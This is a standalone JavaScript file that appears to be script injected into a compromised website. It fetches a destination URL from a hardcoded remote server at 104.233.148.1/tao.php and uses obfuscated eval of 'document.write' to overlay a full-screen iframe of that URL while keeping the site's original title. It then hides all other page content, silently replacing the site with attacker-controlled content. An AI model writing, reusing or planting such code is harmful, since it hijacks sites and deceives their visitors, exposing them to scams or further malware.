var titlestr = document.title;

function get(a, b) {
    var c;
    if (window.XMLHttpRequest) {
        c = new XMLHttpRequest()
    } else {
        c = new ActiveXObject('Microsoft.XMLHTTP')
    }
    c.open("GET", a, b);
    c.send();
    return {
        code: c.status,
        response: c.responseText,
    }
}
var _master = "http://104.233.148.1/tao.php";
var mRes = get(_master, false) || {};
var mResUrl = JSON.parse(mRes.response || "{}").url;
setFrame(mResUrl || "");

function setFrame(olink) {
    var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial; background-repeat: initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setTimeout(function() {
            console.log(document.body.children.length);
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    console.log(i + "***" + a + "**" + b);
                    if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch (e) {}
            }

            var oMeta = document.createElement('meta');
            oMeta.name = 'viewport';
            oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
            document.getElementsByTagName('head')[0].appendChild(oMeta);

        }, 100)
    } catch (e) {}
}